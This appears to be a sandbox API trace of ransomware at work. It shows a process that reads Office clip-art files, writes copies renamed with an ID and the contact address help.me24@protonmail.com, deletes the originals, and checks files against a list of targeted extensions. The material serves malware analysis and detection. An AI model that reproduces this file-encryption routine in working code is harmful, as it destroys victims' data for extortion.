	[0166.341] lstrlenW (lpString="OUTDR_01.MID") returned 12
	[0166.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0166.419] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=6644) returned 1
	[0166.419] CloseHandle (hObject=0x3e0) returned 1
	[0166.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid")) returned 0x220
	[0166.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0166.419] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.420] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0166.421] GetLastError () returned 0x0
	[0166.421] ReadFile (in: hFile=0x3e0, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x19f4, lpOverlapped=0x0) returned 1
	[0166.667] WriteFile (in: hFile=0x4a4, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x1a00, lpOverlapped=0x0) returned 1
	[0166.668] ReadFile (in: hFile=0x3e0, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.668] WriteFile (in: hFile=0x4a4, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.668] SetEndOfFile (hFile=0x4a4) returned 1
	[0166.668] CloseHandle (hObject=0x4a4) returned 1
	[0166.669] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.669] SetEndOfFile (hFile=0x3e0) returned 1
	[0166.671] CloseHandle (hObject=0x3e0) returned 1
	[0166.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.671] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid")) returned 1
	[0166.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0166.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0166.672] lstrlenW (lpString=".doc") returned 4
	[0166.672] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.672] lstrlenW (lpString=".docx") returned 5
	[0166.672] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0166.672] lstrlenW (lpString=".pdf") returned 4
	[0166.672] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.672] lstrlenW (lpString=".xls") returned 4
	[0166.672] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.672] lstrlenW (lpString=".xlsx") returned 5
	[0166.672] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0166.672] lstrlenW (lpString=".ppt") returned 4
	[0166.672] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0166.672] lstrlenW (lpString=".zip") returned 4
	[0166.672] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.672] lstrlenW (lpString=".rar") returned 4
	[0166.672] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.672] lstrlenW (lpString=".bz2") returned 4
	[0166.672] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.672] lstrlenW (lpString=".7z") returned 3
	[0166.673] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0166.673] lstrlenW (lpString=".dbf") returned 4
	[0166.673] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0166.673] lstrlenW (lpString=".1cd") returned 4
	[0166.673] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0166.673] lstrlenW (lpString=".jpg") returned 4
	[0166.673] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0166.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0166.673] lstrlenW (lpString=".doc") returned 4
	[0166.673] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.673] lstrlenW (lpString=".docx") returned 5
	[0166.673] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0166.673] lstrlenW (lpString=".pdf") returned 4
	[0166.673] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.673] lstrlenW (lpString=".xls") returned 4
	[0166.673] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.673] lstrlenW (lpString=".xlsx") returned 5
	[0166.673] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0166.673] lstrlenW (lpString=".ppt") returned 4
	[0166.673] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0166.673] lstrlenW (lpString=".zip") returned 4
	[0166.673] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.673] lstrlenW (lpString=".rar") returned 4
	[0166.673] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.673] lstrlenW (lpString=".bz2") returned 4
	[0166.673] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.673] lstrlenW (lpString=".7z") returned 3
	[0166.673] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0166.673] lstrlenW (lpString=".dbf") returned 4
	[0166.674] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0166.674] lstrlenW (lpString=".1cd") returned 4
	[0166.674] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68
	[0166.674] lstrlenW (lpString=".jpg") returned 4
	[0166.674] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.674] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0166.674] lstrlenW (lpString="PARNT_01.MID") returned 12
	[0166.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0166.861] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=6491) returned 1
	[0166.861] CloseHandle (hObject=0x470) returned 1
	[0166.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid")) returned 0x220
	[0166.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0166.861] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.861] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0166.862] GetLastError () returned 0x0
	[0166.863] ReadFile (in: hFile=0x470, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x195b, lpOverlapped=0x0) returned 1
	[0166.864] WriteFile (in: hFile=0x4d0, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x1960, lpOverlapped=0x0) returned 1
	[0166.866] ReadFile (in: hFile=0x470, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.866] WriteFile (in: hFile=0x4d0, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.866] SetEndOfFile (hFile=0x4d0) returned 1
	[0166.866] CloseHandle (hObject=0x4d0) returned 1
	[0166.866] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.866] SetEndOfFile (hFile=0x470) returned 1
	[0166.872] CloseHandle (hObject=0x470) returned 1
	[0166.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid")) returned 1
	[0166.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0166.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0166.873] lstrlenW (lpString=".doc") returned 4
	[0166.873] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.873] lstrlenW (lpString=".docx") returned 5
	[0166.873] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0166.873] lstrlenW (lpString=".pdf") returned 4
	[0166.873] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.873] lstrlenW (lpString=".xls") returned 4
	[0166.873] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.873] lstrlenW (lpString=".xlsx") returned 5
	[0166.873] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0166.873] lstrlenW (lpString=".ppt") returned 4
	[0166.873] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0166.873] lstrlenW (lpString=".zip") returned 4
	[0166.873] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.873] lstrlenW (lpString=".rar") returned 4
	[0166.873] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.873] lstrlenW (lpString=".bz2") returned 4
	[0166.873] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.873] lstrlenW (lpString=".7z") returned 3
	[0166.873] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0166.873] lstrlenW (lpString=".dbf") returned 4
	[0166.873] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0166.873] lstrlenW (lpString=".1cd") returned 4
	[0166.873] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0166.874] lstrlenW (lpString=".jpg") returned 4
	[0166.874] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0166.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0166.874] lstrlenW (lpString=".doc") returned 4
	[0166.874] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.874] lstrlenW (lpString=".docx") returned 5
	[0166.874] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0166.874] lstrlenW (lpString=".pdf") returned 4
	[0166.874] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.874] lstrlenW (lpString=".xls") returned 4
	[0166.874] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.874] lstrlenW (lpString=".xlsx") returned 5
	[0166.874] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0166.874] lstrlenW (lpString=".ppt") returned 4
	[0166.874] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0166.874] lstrlenW (lpString=".zip") returned 4
	[0166.874] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.874] lstrlenW (lpString=".rar") returned 4
	[0166.874] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.874] lstrlenW (lpString=".bz2") returned 4
	[0166.874] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.874] lstrlenW (lpString=".7z") returned 3
	[0166.874] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0166.874] lstrlenW (lpString=".dbf") returned 4
	[0166.874] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0166.874] lstrlenW (lpString=".1cd") returned 4
	[0166.874] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0166.874] lstrlenW (lpString=".jpg") returned 4
	[0166.875] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.875] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0166.875] lstrlenW (lpString="PARNT_05.MID") returned 12
	[0166.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0166.877] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=6020) returned 1
	[0166.877] CloseHandle (hObject=0x470) returned 1
	[0166.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid")) returned 0x220
	[0166.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0166.877] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.878] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0166.878] GetLastError () returned 0x0
	[0166.878] ReadFile (in: hFile=0x470, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x1784, lpOverlapped=0x0) returned 1
	[0166.880] WriteFile (in: hFile=0x4d0, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x1790, lpOverlapped=0x0) returned 1
	[0166.881] ReadFile (in: hFile=0x470, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.882] WriteFile (in: hFile=0x4d0, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.882] SetEndOfFile (hFile=0x4d0) returned 1
	[0166.882] CloseHandle (hObject=0x4d0) returned 1
	[0166.882] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.882] SetEndOfFile (hFile=0x470) returned 1
	[0166.885] CloseHandle (hObject=0x470) returned 1
	[0166.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.885] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid")) returned 1
	[0166.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0166.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0166.886] lstrlenW (lpString=".doc") returned 4
	[0166.886] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.886] lstrlenW (lpString=".docx") returned 5
	[0166.886] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1
	[0166.886] lstrlenW (lpString=".pdf") returned 4
	[0166.886] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.886] lstrlenW (lpString=".xls") returned 4
	[0166.886] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.886] lstrlenW (lpString=".xlsx") returned 5
	[0166.886] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1
	[0166.886] lstrlenW (lpString=".ppt") returned 4
	[0166.886] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0166.886] lstrlenW (lpString=".zip") returned 4
	[0166.886] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.886] lstrlenW (lpString=".rar") returned 4
	[0166.886] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.886] lstrlenW (lpString=".bz2") returned 4
	[0166.886] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.886] lstrlenW (lpString=".7z") returned 3
	[0166.886] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0166.886] lstrlenW (lpString=".dbf") returned 4
	[0166.886] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0166.886] lstrlenW (lpString=".1cd") returned 4
	[0166.886] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0166.886] lstrlenW (lpString=".jpg") returned 4
	[0166.886] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0166.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0166.886] lstrlenW (lpString=".doc") returned 4
	[0166.887] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.887] lstrlenW (lpString=".docx") returned 5
	[0166.887] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1
	[0166.887] lstrlenW (lpString=".pdf") returned 4
	[0166.887] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.887] lstrlenW (lpString=".xls") returned 4
	[0166.887] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.887] lstrlenW (lpString=".xlsx") returned 5
	[0166.887] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1
	[0166.887] lstrlenW (lpString=".ppt") returned 4
	[0166.887] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0166.887] lstrlenW (lpString=".zip") returned 4
	[0166.887] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.887] lstrlenW (lpString=".rar") returned 4
	[0166.887] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.887] lstrlenW (lpString=".bz2") returned 4
	[0166.887] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.887] lstrlenW (lpString=".7z") returned 3
	[0166.887] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0166.887] lstrlenW (lpString=".dbf") returned 4
	[0166.887] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0166.887] lstrlenW (lpString=".1cd") returned 4
	[0166.887] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0166.887] lstrlenW (lpString=".jpg") returned 4
	[0166.887] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.887] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0166.888] lstrlenW (lpString="PARNT_06.MID") returned 12
